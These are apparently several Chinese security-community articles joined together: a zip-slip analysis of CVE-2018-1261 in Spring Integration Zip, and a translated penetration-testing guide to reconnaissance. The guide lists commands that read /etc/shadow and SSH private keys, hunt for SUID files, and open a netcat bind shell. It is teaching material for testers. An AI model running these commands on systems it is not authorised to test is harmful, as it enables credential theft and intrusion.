进行了深入完整的剖析，后续启明星辰ADLab会对蜻蜓二代剩下的组件进行一一分析，敬请期待。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# Spring Integration Zip不安全解压（CVE-2018-1261）漏洞分析
##### 译文声明
本文是翻译文章，文章来源：https://mp.weixin.qq.com/
原文地址：<https://mp.weixin.qq.com/s/SJPXdZWNKypvWmL-roIE0Q>
译文仅供参考，具体内容表达以及含义原文为准。
作者：Gyyyy@猎户安全实验室
## 0x00 漏洞概览
**漏洞名称：** Spring Integration Zip不安全解压
**漏洞编号：** CVE-2018-1261
**漏洞级别：** 严重（官方定级，比高危还高）
**漏洞危害** **：** 在spring-integration-zip.v1.0.1.RELEASE之前的版本中，恶意用户通过在压缩文件中构造包含有特定文件名称的文件（受影响文件格式有bzip2, tar, xz,
war, cpio, 7z），应用程序使用spring-integration-zip进行解压时，会导致跨目录任意写入文件漏洞的攻击。进而有可能被Getshell， **远程控制** 。
**漏洞加固：** 更新升级， _zip.v1.0.2.RELEASE版本_
**漏洞利用前置条件：**
1. 使用了spring-integration-zip库
2. 接收并解压了来自不可信来源的压缩文件
## 0x01 漏洞分析
补丁比对
zip.v1.0.1.RELEASE在`UnZipTransformer`调用`ZipUtil.iterate()`时定义的回调中增加了一段对文件名称校验的代码片段
_（在5月11日凌晨更新的zip.v1.0.2.RELEASE版本中，对`Byte[]`类型的分支逻辑也增加了文件名称校验，并且删除了对名称中`..`的判断，直接校验名称是否以工作区目录开头）_。
通过上述内容我们大致可以猜测这个漏洞的原理：攻击者可以通过构造一个包含名称带`../`前缀的文件的压缩包，使spring-integration-zip进行解压时该文件跳出解压目录被创建。
而且在zip.v1.0.1.RELEASE也增加了对这类压缩包的测试用例，并且十分贴心的附上了一个“恶意”的压缩包测试文件zip-malicious-traversal.zip。
我们先看看这个压缩包长什么样子：
稍微说明一下：
* 右上，压缩包正常打开的目录结构
* 右下，压缩包的文本形式数据
* 左，压缩包解压后的目录结构
从文本数据中不难看出，这个压缩包中存在一个以很多`../`开头为名称的文件evil.txt。以压缩工具打开查看时，它以目录树形式显示，而解压后最深层的有效目录及文件被提取至根目录
_（说明使用的这个工具不存在这类解压漏洞）_ 。
这样就可以很清楚的知道，这个压缩包如果被zip.v1.0.0.RELEASE解压，evil.txt文件将会被写入工作区目录对应盘符下的tmp目录中。
搭个调试环境跑起来看看。
## 0x02 环境搭建
1. IDE：IDEA
2. JDK：1.7
3. Libraries
* spring-integration-zip.1.0.0.RELEASE
* spring-integration-core.4.3.10.RELEASE
* spring-integration-file.4.3.10.RELEASE
* zt-zip.1.11
关键代码如下 _（参考官方测试用例即可）_ ：
#### **流程跟踪**
流程很简单，示例中的`UnZipTransformer.transform()`会调用`doZipTransform()`解压，在遍历压缩包内目录及文件时，回调`ZipEntryCallback.process()`对其进行处理。
当遍历到evil.txt时，它被识别为一个文件，而并不是多层的目录结构，那一堆乱七八糟的只是它的文件名：
_而对正常压缩包遍历到目录时应该是这样的：_
然后根据文件名在工作区目录中创建对应文件 _（子目录会在遍历时被提前创建）_
，并调用org.apache.commons.io包中的`IOUtils.copy()`复制文件数据。
此时，解压的文件名被转换为绝对路径： __
_程序运行结束，查看E:\tmp\目录下发现evil.txt文件（由于Win操作系统默认没有/tmp目录，因此我在测试前提前创建了一个，也可以直接使用已存在目录，如Web
Root:P）：_ __
## 0x03 POC生成
知道了漏洞原理后，我们比较好奇的是如何生成这种特殊的压缩文件，已知方法有 _（如果有更方便的方法，请告诉我）_ ：
1. 用二进制数据构造符合压缩包数据结构的文件
2. 使用spring-integration-zip压缩
我们用方法2做个测试，关键代码如下：
再解压试试
**可以看到hw.txt跳出解压目录外层来了，OK，打完收工。**
## 参考
1. https://pivotal.io/security/cve-2018-1261
2. https://github.com/spring-projects/spring-integration-extensions/ | 社区文章 |
## 0x01 前言
前段时间github上看到pentest
wiki这个项目，于是就想折腾一下和几个基友一起把这个wiki翻译一波，对于刚入门的安全人员还是比较友好的，因为篇幅原因，先发出第一部分：
信息收集
先感谢这几个基友的支持，@彼岸花团队，@\xeb\xfe，@EazyLov3，@奈沙夜影以及一位老师傅。
如果你在下面的阅读中发现了错误或者表达不当的地方，请务必指出，我们会改正的，提前致谢！
## Part 1 信息收集
├─信息收集
│ ├─README
│ ├─如何收集whois信息
│ └─如何收集dns信息
│ ├─Linux下的信息收集
│ └─Windows下的信息收集
#### 信息收集
在信息收集阶段，您将通过使用社交媒体网络，Google黑客攻击，目标活动足迹等渠道收集关于您正在攻击的目标的一切信息。渗透测试人员所能掌握的最重要的技能之一就是了解目标的能力，包括目标的行为，操作方式以及最终如何被攻击。您收集的有关您的目标的信息将为您提供有关安全控制类型的宝贵信息。
在信息收集期间，您将尝试通过慢慢地开始探索其系统来确定目标上的保护机制。例如，一个组通常只允许面向外部设备的某个端口子集上的流量，如果您在除白名单端口以外的任何其他组查询该组，则将被阻止。通过最初从您阻止或检测到的可消耗IP地址进行探测来测试此行为通常是一个好主意。当您测试Web应用程序时也是如此，在某个阈值之后，Web应用程序防火墙会阻止您发出进一步的请求。要在这些测试中保持不被发现，您可以从IP地址范围执行您的初始扫描，这些扫描不能链接回您和您的团队。通常情况下，在互联网上有外部存在的机构每天都会遇到攻击，你的初始探测可能会被归类于无关信息的一部分。
**信息分类** | **书签**
---|---
IP分析 | <https://www.iana.org/numbers>
<https://www.iana.org/assignments/as-numbers/as-numbers.xml>
<https://www.iso.org/obp/ui/#home>
<https://www.ultratools.com/tools/toolsHome>
<https://www.robtex.com/>
<http://www.team-cymru.org/IP-ASN-mapping.html>
<http://www.iplocation.net/>
<http://thyme.apnic.net/>
<http://bgp.he.net/>
<https://ipinfo.io>
Whois分析 | <https://www.iana.org/numbers>
<http://www.domaintools.com/>
DNS 分析 | <http://www.alexa.com/>
<http://searchdns.netcraft.com/>
<http://centralops.net/co/>
<http://www.yougetsignal.com/>
<http://webhosting.info/whois/>
<http://reverseip.domaintools.com/>
<http://viewdns.info/reverseip/>
识别存活主机 | <https://nmap.org/dist/sigs/?C=M;O=D>
<https://zmap.io/>
<http://masscan.net/>
<http://www.secdev.org/projects/scapy/>
IDS/IPS 鉴定 | <https://www.monkey.org/~dugsong/fragroute/>
<http://pytbull.sourceforge.net/>
<http://tcpreplay.synfin.net/>
开源情报 | <https://www.shodan.io/>
<https://www.exploit-db.com/google-hacking-database/>
#### 如何收集whois信息
* Whois搜索
* 查询Whois数据库
关于whois的信息以及攻击者如何使用这些信息，将使用whois记录中显示的信息来应对不知情的组织成员，领导和员工。
本文档涉及到windows的whois信息收集，针对的是Linux / Unix用户比Windows更多。
##### Whois搜索
简单说，whois就是一个用来查询域名是否已经被注册，以及注册域名的详细信息的数据库（如域名所有人、域名注册商）。通过whois来实现对域名信息的查询、然而，whois信息也可以帮助攻击者获取信息，帮助成功渗透进入网络。
##### 查询Whois数据库
whois查询将返回有关目标公司的信息。 使用这种类型的查询，您还可以搜索与目标公司关联的其他实体。
要对远程主机执行whois查询，攻击者将发出以下命令`whois baidu.com`，该输出将产生以下数据：
root@wing:~# whois baidu.com
Domain Name: BAIDU.COM
Registry Domain ID: 11181110_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.markmonitor.com
Registrar URL: http://www.markmonitor.com
Updated Date: 2017-07-28T02:36:28Z
Creation Date: 1999-10-11T11:05:17Z
Registry Expiry Date: 2026-10-11T11:05:17Z
Registrar: MarkMonitor Inc.
Registrar IANA ID: 292
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +1.2083895740
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Domain Status: serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Domain Status: serverUpdateProhibited https://icann.org/epp#serverUpdateProhibited
Name Server: DNS.BAIDU.COM
Name Server: NS2.BAIDU.COM
Name Server: NS3.BAIDU.COM
Name Server: NS4.BAIDU.COM
Name Server: NS7.BAIDU.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2017-12-10T07:03:24Z <<<
For more information on Whois status codes, please visit https://icann.org/epp
NOTICE: The expiration date displayed in this record is the date the
registrar's sponsorship of the domain name registration in the registry is
currently set to expire. This date does not necessarily reflect the expiration
date of the domain name registrant's agreement with the sponsoring
registrar. Users may consult the sponsoring registrar's Whois database to
view the registrar's reported date of expiration for this registration.
TERMS OF USE: You are not authorized to access or query our Whois
database through the use of electronic processes that are high-volume and
automated except as reasonably necessary to register domain names or
modify existing registrations; the Data in VeriSign Global Registry
Services' ("VeriSign") Whois database is provided by VeriSign for
information purposes only, and to assist persons in obtaining information
about or related to a domain name registration record. VeriSign does not
guarantee its accuracy. By submitting a Whois query, you agree to abide
by the following terms of use: You agree that you may use this Data only
for lawful purposes and that under no circumstances will you use this Data
to: (1) allow, enable, or otherwise support the transmission of mass
unsolicited, commercial advertising or solicitations via e-mail, telephone,
or facsimile; or (2) enable high volume, automated, electronic processes
that apply to VeriSign (or its computer systems). The compilation,
repackaging, dissemination or other use of this Data is expressly
prohibited without the prior written consent of VeriSign. You agree not to
use electronic processes that are automated and high-volume to access or
query the Whois database except as reasonably necessary to register
domain names or modify existing registrations. VeriSign reserves the right
to restrict your access to the Whois database in its sole discretion to ensure
operational stability. VeriSign may restrict or terminate your access to the
Whois database for failure to abide by these terms of use. VeriSign
reserves the right to modify these terms at any time.
The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.
我们将从一开始就提到每个部分，最后完成A到D.然后，我们将更详细地了解每个部分，说明每个部分如何影响安全性，以及攻击者如何将这些信息关联形成目标详尽的概况;
以及有关内部网络的其他细节，以及组织的结构，以准备渗透。
但是，在深入研究whois部分显示的信息之前，我们将描述可以通过哪些whois搜索去查询一个域名的信息。
下面的图表显示了查询世界上每个地区有关whois查询的信息。
**Whois 服务** | **受影响的地点** | **服务地址**
---|---|---
ARIN | 美国大陆互联网号码美国注册局. | <http://arin.net>
APNIC | 亚太信息中心. | <http://apnic.net>
LACNIC | 拉丁美洲和加勒比地址注册处 | <http://lacnic.net>
NIC.gov | 政府搜索 | <http://nic.gov/whois.html>
NetworkSolutions.com | Com, Net, Org, Edu 名字查找 | <http://networksolutions.com>
Whois.net | Whois 查询服务 | <http://whois.net>
Crsnic.net | Verisign Whois查询 | <http://crsnic.net>
<http://registrar.verisign-grs.com/whois/>
可以从whois查询返回并滥用的附加信息如下：
返回的查询 | 返回的数据 | 用途
---|---|---
Address - Country | Location of Target | \- 目标的位置
\- 物理安全
\- 垃圾搜索
\- 社工
Net Range - Name Servers | Internet Addressing Scheme | \- 利用定位
\- 空间转移 (ixfr and axfr)
Registration Update & Expirary | Date formats & Times | -社工
\- DNS缓存中毒;
RTech handle - Rtech Email | 管理员联系方式 | \- First / Last Name
\- 社工
\- 逆向工程
\- E-mail 联系
-可能的联系电话
\- 家庭住址
whois收集和挖掘额外的数据：
资源 | 获得的信息 | 信息用途
---|---|---
myspace.com,
meetspot.com,
adultfriendfinder.com,
friendfinder.com,
facebook.com,
classmates.com | -调查目标信息简介
-他们接收的人
-完成喜欢，不喜欢和缺陷
-进入他们的生活中一个不易发现的有利位置 | \- 社工 / 逆向
\- 利用他们的机器访问公司机器。
\- 利用嗅探进行被动信息收集
\- 物理入侵的可能性是物理攻击可以利用键盘记录器和其他硬件来攻击。
Corporate BBS,
Google Searches for Help,
IT/IS Vendor Seaches (IBM, Solaris, Etc) | -具体问题和帮助文件
\- 技术人员或安全专业人员参与解决任务
\- 可以利用的长期/短期解决方案
\- 用户名的可能性，甚至是密码被利用。 | \- 社工 / 逆向
\- 暴力破解用户名
\- 互联网迷你地图
\- 短期解决方案，可能包含漏洞; 长期的解决方案，可能需要进一步挖掘，
\- 暴露测试目标的能力，密码的可用性以及可以授予访问权的用户名。
monster.com,
bigapplehead.com,
dice.com,
other job searches | -架构利用
\- 联系信息
\- 地理位置
\- 企业网站上的额外链接的可能性，这可能会返回更多的隐藏链接。 | \- 社工 / 逆向
\- 能够获得临时访问现场拍照，社会工程师雇主。
\- 收集哪些技术能用于发起渗透测试或攻击目标
\- 在面谈中进一步了解和实施安全措施
\- 通过面谈访问, 能够使我们更加接近以及了解目标.
### 如何收集dns信息
* 被动模式
* DNS 枚举
* OSINT(公开情报)
* 进攻模式
-爬行网站
* 工具
* recon-ng
* dnsrecon
* theHarvester
#### 被动模式
##### DNS 枚举
**DNS 枚举** 是查找组织的所有DNS服务器及其相应记录的过程。
公司可能同时拥有内部和外部DNS服务器，可以产生用户名，计算机名称和潜在目标系统的IP地址等信息。 有很多工具可以用来获取执行DNS枚举的信息。
可用于DNS枚举的工具的例子是NSlookup，DNSstuff，美国互联网号码注册局（ARIN）和Whois。
要枚举DNS，您必须了解DNS及其工作原理.
你必须知道DNS记录的知识。 DNS记录列表提供了存储在域名系统（DNS）的区域文件中的资源记录类型（数据库记录）的概述。
DNS实现分布式，分层和冗余数据库，用于与Internet域名和地址相关的信息。 在这些域服务器中，不同的记录类型用于不同的目的。
以下列表介绍常见的DNS记录类型及其用法：
**DNS记录类型** | 方法 | 说明
---|---|---
dns query | A | **_地址记录_** ，返回32位IPv4地址，最常用于将主机名映射到主机的IP地址，但也用于DNSBL，在RFC
1101中存储子网掩码等。
dns query | CNAME | **_CNAME_** 被称为规范名字。这种记录允许您将多个名字映射到同一台计算机
dns query | AAAA | **_IPv6的地址记录_** , 返回一个128位的IPv6地址，最常用于将主机名映射到主机的IP地址。
dns query | MX | **_邮件交换记录_** ，将域名映射到该域的邮件传输代理列表。
dns query | NS | **_名称服务器记录_** ，委派一个DNS区域使用给定的权威名称服务器
dns query | SOA | **_权限记录区域_**
，指定关于DNS区域的权威信息，包括主要名称服务器，域管理员的电子邮件，域序列号以及与刷新区域有关的多个定时器。
dns query | SPF | **_发件人策略框架_**
，一个简单的电子邮件验证系统，旨在通过提供一种机制来检测电子邮件欺骗，以允许接收邮件交换者检查来自域的传入邮件来自该域管理员授权的主机。
dns query | TXT | **_文本记录_** ，最初用于DNS记录中任意可读的文本。
dns query | PTR | **_指针记录_** ，指向规范名称的指针。 与CNAME不同，DNS处理停止，只返回名称。
最常见的用途是实施反向DNS查询，但其他用途包括DNS-SD等。
dns query | SRV | **_服务定位器_** ，通用服务位置记录，用于较新的协议，而不是创建协议特定的记录，如MX。
dns query | NSEC | **_Next安全记录_** ，DNSSEC的一部分 - 用于证明名称不存在。 使用与（过时的）NXT记录相同的格式。
dns query | AXFR | **_授权区域传输_** ，将主区域名称服务器上的整个区域文件传输到辅助名称服务器。 **DNS区域传输**
通常用于跨多个DNS服务器复制DNS数据，或备份DNS文件。
用户或服务器将执行来自“名称服务器”的特定区域传输请求。如果名称服务器允许区域传输发生，名称服务器托管的所有DNS名称和IP地址将以可读的ASCII文本形式返回。
dns query | IXFR | **_增量区域传输_** ，将整个区域文件从主名称服务器传输到辅助名称服务器。
dns query | DNS Wildcard | 检查域名服务器启用通配符查询，或DNS伪造。
dns query | domain bruteforce | 用字典暴力破解子域名
dns query | reverse bruteforce | 域名反查ip
dns query | srv bruteforce | 暴力破解srv记录
dns query | gtld bruteforce | 暴力破解gtld记录
dns query | tld bruteforce | 暴力破解tld记录
#### OSINT
OSINT | 分类 | 描述
---|---|---
OSInt | Google | 来自Google的Spider域名:`demo.com`
OSInt | Bing | 来自Bing的Spider域名:`demo.com`
OSInt | Yahoo | 来自Yahoo的Spider域名:`demo.com`
OSInt | Baidu | 来自百度的Spider域名:`demo.com`
OSInt | Netcraft | 从 `netcraft searchdns pages` 上爬取域名
OSInt | Github | 来自Github
OSInt | Shodan | 来自Shodan的Spider域名
OSInt | Censys | 来自Censys的Spider域名
OSInt | ZoomEye | 来自ZoomEye的Spider域名
## 主动攻击模式
**攻击模式** | **方法** | **描述**
---|---|---
Websites | Spider default page | 扫描默认页面和爬取目标站点
Websites | Certificates | 扫描域名证书
## Tools
**recon-ng 命令** | **Description**
---|---
use recon/domains-hosts/baidu_site | 通过`baidu`搜索域名
use recon/domains-hosts/bing_domain_api | 通过`bing api`搜索域名
use recon/domains-hosts/bing_domain_web | 通过`bing web pages`搜索域名
use recon/domains-hosts/brute_hosts | 爆破子域名
use recon/domains-hosts/google_site_api | 通过`google api`搜索域名
use recon/domains-hosts/google_site_web | 通过 `google web pages` 搜索域名.
use recon/domains-hosts/netcraft | Search domains from netcraft pages.
**dnsrecon 命令** | **Description**
---|---
dnsrecon -n `8.8.8.8` -d `demo.com` | 请使用有效的DNS服务器，以避免DNS伪造。
dnsrecon -d `demo.com` -t std | SOA，NS，A，AAAA，MX和SRV（如果NS服务器上的AXRF失败）。
dnsrecon -d `demo.com` -t rvl | 反向查找给定的CIDR或IP范围。
dnsrecon -d `demo.com` -t brt -D `/path/to/subdomains.wd` | 使用之指定字典爆破域名和hosts.
dnsrecon -d `demo.com` -t brt -D `/path/to/subdomains.wd` \--iw |
使用指定目录字典暴力破解域名，即使发现了目录，依然继续暴力破解
dnsrecon -d `demo.com` -t srv | SRV 记录
dnsrecon -d `demo.com` -t axfr | 为空间转移测试所有NS服务器.
dnsrecon -d `demo.com` -t goo | 通过google搜索存活子域和主机.
dnsrecon -d `demo.com` -t tld | 删除给定域的TLD，并针对在IANA中注册的所有TLD进行测试
dnsrecon -d `demo.com` -t zonewalk | 使用NSEC记录执行DNSSEC区域漫游。
dnsrecon -d `demo.com` \--db `/path/to/results.sqlite` | 将结果保存在一个sqlite文件中
dnsrecon -d `demo.com` \--xml `/path/to/results.xml` | 将结果保存在一个xml文件中。
dnsrecon -d `demo.com` -c `/path/to/results.csv` | 将结果保存在一个csv文件中。
dnsrecon -d `demo.com` -j `/path/to/results.json` | 将结果保存在一个json文件中。
**theHarvester Command** | **说明**
---|---
theharvester -d `demo.com` -b all | 通过 google, googleCSE, bing, bingapi, pgp,
linkedin,google-profiles, jigsaw, twitter, googleplus,等方法来查询目标信息
theharvester -d `demo.com` -n | 对发现的所有网段执行DNS反向查询
theharvester -d `demo.com` -c | 对域名执行DNS爆破
theharvester -d `demo.com` -t | 执行DNS TLD扩展发现
theharvester -d `demo.com` -e `8.8.8.8` | 指定一个DNS服务器
theharvester -d `demo.com` -h | 使用SHODAN数据库查询已发现的主机
**Metasploit Command** | **说明**
---|---
msf > use auxiliary/gather/enum_dns | 收集dns记录信息(A, AAAA, CNAME, ZoneTransfer,
SRV, TLD, RVL, ...)
#### 相关链接
* <https://en.wikipedia.org/wiki/List_of_DNS_record_types>
* <https://www.exploit-db.com/docs/12389.pdf>
* <https://pentestlab.blog/tag/dns-enumeration/>
* <http://tools.kali.org/information-gathering/dnsrecon>
* <https://github.com/nixawk/ig/>
#### Linux下的信息收集
##### 系统架构
##### 相关命令及说明
* `uname -a` ： uname命令报告有关计算机的软件和硬件的基本信息。
* `cat /etc/issue` ：文件/ etc / issue是一个文本文件，其中包含要在登录提示之前打印的消息或系统标识。
* `cat /etc/*-release` ：`/etc/lsb-release, /etc/redhat-release` 文件包含一个被解析以获取信息的描述行。 例如：“分销商版本x.x（代号）”
* `cat /proc/version` ：/ proc/version指定了Linux内核的版本，用于编译内核的gcc的版本以及内核编译的时间。 它还包含内核编译器的用户名。
* `cat /proc/sys/kernel/version` ：`/proc/sys/kerne /`中的文件可以用来调整和监视Linux内核操作中的各种活动
##### 进程
* `ps -ef /ps aux` : 列出当前进程快照
* `top`: top命令显示您的Linux机器的处理器活动，并显示实时管理的任务。 它会显示正在使用的处理器和内存以及运行进程等其他信息。
* `ls -al /proc/`: /proc是非常特殊的，它也是一个虚拟文件系统。 它有时被称为过程信息伪文件系统。 它不包含“真实”文件，而是包含运行时系统信息（例如系统内存，安装的设备，硬件配置等）。
* `ls -al /proc/99` :查看关于PID 99的信息.
##### 用户和组
**Command** | **Description**
---|---
id | 找到用户的UID或GID等信息.
w | 显示登录到Linux服务器的人员.
whoami | 显示当前用户名
lastlog | 格式化打印上次登录日志`/var/log/lastlog`文件的内容。
cat /etc/passwd | 有关用户信息的基于文本的数据库，可以登录系统或其他拥有正在运行的进程的操作系统用户身份。
cat /etc/shadow | **/etc/shadow** 用于通过限制除高度特权的用户对散列密码数据的访问来提高密码的安全级别。
通常情况下，该数据保存在超级用户拥有的文件中，并且只能由超级用户访问。
cat /etc/master.passwd | **/etc/master.passwd** on BSD systems
cat /etc/sudoers | **/etc/sudoers** 文件内容是使用sudo命令必须遵守的规则！
sudo -V | 打印sudo版本字符串
cat ~/.ssh/authorized_keys | 使用公钥认证，认证实体具有公钥和私钥。
每个key都是具有特殊数学属性的大数字。私钥保存在您登录的计算机上，而公钥存储在要登录的所有计算机上的 **.ssh/authorized_keys**
文件中。
cat ~/.ssh/identity.pub | 文件 **identity.pub**
包含您的公钥，可以将其添加到其他系统的authorized_keys文件中。
cat ~/.ssh/identity | ssh客户端允许您选择读取RSA或DSA身份验证标识（私钥）的文件。
cat ~/.ssh/id_rsa.pub | RSA 公钥 会保存为 .ssh/id_rsa.pub.
cat ~/.ssh/id_rsa | RSA 私钥 会保存在你的home目录中 ：.ssh/id_rsa。
cat ~/.ssh/id_dsa.pub | DSA公钥 会保存为 .ssh/id_rsa.pub.
cat ~/.ssh/id_dsa | DSA 私钥 会保存在你的home目录中 ：.ssh/id_dsa。
cat /etc/ssh/ssh_config | OpenSSH SSH 控制端配置文件
cat /etc/ssh/sshd_config | OpenSSH SSH 服务端配置文件
cat /etc/ssh/ssh_host_dsa_key.pub | sshd守护进程使用的DSA公钥.
cat /etc/ssh/ssh_host_dsa_key | sshd守护进程使用的DSA私钥。
cat /etc/ssh/ssh_host_rsa_key.pub | sshd守护程序用于SSH协议版本2的RSA公钥。
cat /etc/ssh/ssh_host_rsa_key | sshd守护进程使用的RSA私钥。
##### 服务
**Command** | **Description**
---|---
service -status-all | 检查所有服务状态
systemctl -a | 列出安装在文件系统中的所有单元.
service `servicename` start
systemctl start `servicename` | 启动某个服务
service `servicename` stop
systemctl stop `servicename` | 停止某个服务
service `servicename` status
systemctl status `servicename` | 显示某个服务状态信息
cat /etc/services | /etc/ services将端口号映射到指定的服务.
##### 安全
**Command** | **Description**
---|---
iptables -L | 列出所有规则链。
iptables -F | 删除选定规则链中的所有规则.
iptables -A INPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT | 请执行 **iptables -p
icmp --help** 获得更多信息.
iptables -A INPUT -p tcp -m tcp --sport 80 -m state --state
RELATED,ESTABLISHED -j ACCEPT | 允许来自src端口80的tcp连接
iptables -A OUTPUT -p tcp -m tcp --dport 80 -m state --state
NEW,RELATED,ESTABLISHED -j ACCEPT | 允许 从/到 dst 端口80的TCP连接.
iptables -A INPUT -p udp -m udp --sport 53 -m state --state
RELATED,ESTABLISHED -j ACCEPT | 允许来自src端口80的udp连接
iptables -A OUTPUT -p udp -m udp --dport 53 -m state --state
NEW,RELATED,ESTABLISHED -j ACCEPT | 允许从/到 dst 端口53的udp连接.
iptables -A OUTPUT -p tcp -m tcp --sport 55552 -s 127.0.0.1 -d 127.0.0.1 -j
ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 55552 -s 127.0.0.1 -d 127.0.0.1 -j
ACCEPT | 允许本地主机连接到 localhost:55552
##### 网络
**Command** | **Description**
---|---
ifconfig -a | 显示当前可用的所有接口
hostname | 显示或设置系统的主机名称。
dnsdomainname | 显示系统的DNS域名。
netstat -antp | 显示网络状态
netstat -anup | 显示网络状态
chkconfig --list | 显示所有运行级系统服务的运行状态信息
lsof -nPi | 列出打开的文件
route -e | 显示/操作IP路由表
iwconfig | 配置无线网络接口
cat /etc/resolv.conf |
该文件是DNS域名解析的配置文件，它的格式很简单，每行以一个关键字开头，后接配置参数。resolv.conf的关键字主要有四个，分别是：`nameserver
:定义DNS服务器的IP地址 | domain :定义本地域名 | search :定义域名的搜索列表 | sortlist #对返回的域名进行排序`
cat /etc/hosts | **/etc/hosts** 是一个简单的文本文件，将IP地址与主机名相关联，每个IP地址一行。
cat /etc/network/interfaces | **/etc/network/interfaces** 文件包含网络接口配置信息。
cat /etc/sysconfig/network | **/etc/sysconfig/network** 文件用于指定有关服务器上所需网络配置的信息。
cat /etc/networks | **/etc/networks** 是一个简单的ASCII文件，描述这些网络的已知DARPA网络和符号名称。
cat /proc/net/tcp | 以十六进制模式打印tcp信息
cat /proc/net/udp | 以十六进制模式打印udp信息
cat /proc/net/icmp | 以十六进制模式打印icmp信息
cat /proc/net/route | 以十六进制模式打印路由信息
cat /etc/inetd.conf | inetd也称为超级服务器，将根据来自网络的请求加载网络程序。
inetd.conf文件告诉inetd要侦听的端口以及为每个端口启动的服务器.
cat /etc/xinetd.conf | xinetd.conf是确定xinetd提供的服务的配置文件.
ls -R /etc/network/ | 显示有关网络配置的文件
ls -al /etc/init.d | 列出所有的init脚本
iptables -L -t nat | 打印nat的规则链
iptables -L -t mangle | 打印mangle链的规则
tcpdump | tcpdump备忘录
nc -v `host` `port` | 建立一个tcp连接
nc -v -e /bin/sh -l -p `port` | 反弹shell给本地的一个端口
##### 文件系统
**Command** | **Description**
---|---
cat /etc/profile | /etc/profile 包含Linux系统环境和启动程序。 它被所有的用户使用于bash，ksh，sh shell。
cat /etc/bashrc | /etc/bashrc 或者 /etc/bash.bashrc是全系统的bash每个交互式shell启动文件。
是使用系统广泛的功能和别名。
cat ~/.bash_profile | 类似 /etc/profile, 但仅适用于当前用户
car ~/.bash_history | 打印当前用户bash命令的历史记录
cat ~/.bashrc | ~/.bashrc是存储在您的主目录$HOME中的单个每个交互式shell启动文件。
car ~/.zshrc | ~/.zshrc是存储在您的主目录$ HOME中的单个交互式shell启动文件。
cat ~/.bash_logout | 文件〜/ .bash_logout不用于调用shell。 当用户从交互式登录shell中退出时，它被读取并执行。
ls -al /var/log/ | 列出所有日志文件
find / -perm -1000 -type d 2>/dev/null | 粘滞位 - 只有目录的所有者或文件的所有者可以在这里删除或重命名.
find / -perm -g=s -type f 2>/dev/null | SGID（chmod 2000） - 作为组运行，而不是启动它的用户。
find / -perm -u=s -type f 2>/dev/null | SUID（chmod 4000） - 作为所有者运行，而不是启动它的用户。
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null | SGID 或者 SUID
for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f
2>/dev/null; done | 在SGID或SUID（快速搜索）中查找'common'位置：/ bin，/ sbin，/ usr / bin，/
usr / sbin，/ usr / local / bin，/ usr / local / sbin和其他任何*bin。
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \;
2>/dev/null | 从根目录（/），SGID或SUID开始，而不是符号链接，只有3个文件夹的深度，列出更多的细节和隐藏的任何错误（例如权限被拒绝）
find / -writable -type d 2>/dev/null | 找出可写的文件夹
find / -perm -222 -type d 2>/dev/null | 找出可写的文件夹
find / -perm -o w -type d 2>/dev/null | 找出可写的文件夹
find / -perm -o x -type d 2>/dev/null | 找出可写的文件夹
find / ( -perm -o w -perm -o x ) -type d 2>/dev/null | 找出可写可执行的文件夹
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print | 找出可写的文件
find /dir -xdev ( -nouser -o -nogroup ) -print | 找出不是所有者的文件
##### 程序
**Command** | **Description**
---|---
crontab -l | 显示标准输出上的当前触点
ls -alh /var/spool/cron |
ls -al /etc/cron* |
cat /etc/cron* |
cat /etc/at.allow | /etc/at.allow和/etc/at.deny文件确定哪个用户可以通过at或batch提交命令供以后执行.
cat /etc/at.deny | /etc/at.allow和/etc/at.deny文件确定哪个用户可以通过at或batch提交命令供以后执行。
cat /etc/cron.allow |
cat /etc/cron.deny |
cat /etc/crontab |
cat /etc/anacrontab |
ls -la /var/spool/cron/crontabs | 列出所有用户的crontab文件
cat /var/spool/cron/crontabs/root | 打印root用户的crontab命令
##### 相关链接
1. <https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>
2. <https://github.com/CISOfy/lynis>
3. <https://github.com/rebootuser/LinEnum>
4. <https://github.com/nixawk/metasploit-modules/blob/master/.msf4/modules/post/linux/gather/enum_linux.rb>
5. <http://www.iptables.org/documentation/>
6. <http://packetlife.net/media/library/12/tcpdump.pdf>
##### windows下的信息收集
##### 系统架构
**Command** | **Description**
---|---
ver | 显示Windows版本.
systeminfo
systeminfo /S `ComputerName` /U `username` /P `password` |
此工具显示本地或远程计算机的操作系统配置信息，包括服务包级别。
wmic os list brief | 已安装操作系统的管理.
wmic computersystem list full | 计算机系统管理。
##### 进程
**Command** | **Description**
---|---
tasklist
tasklist /M
tasklist /V | 显示本地机器上当前正在运行的进程的列表.
tasklist /FI "IMAGENAME eq cmd.exe"
tasklist /FI "PID ne 0" | 显示一组过滤器指定的标准的进程.
tasklist /S `SERVER` /U `DOMAIN\username` /P `password` | 显示远程机器上当前正在运行的进程的列表.
wmic process list brief | 进程管理.
## 用户和组
**Command** | **Description**
---|---
whoami | 列出关于您当前登录的用户的信息.
net user | 显示用户帐户信息.
net user /domain | 对计算机的主域中的域控制器执行操作.
net localgroup administrators | 在计算机上显示本地管理员组.
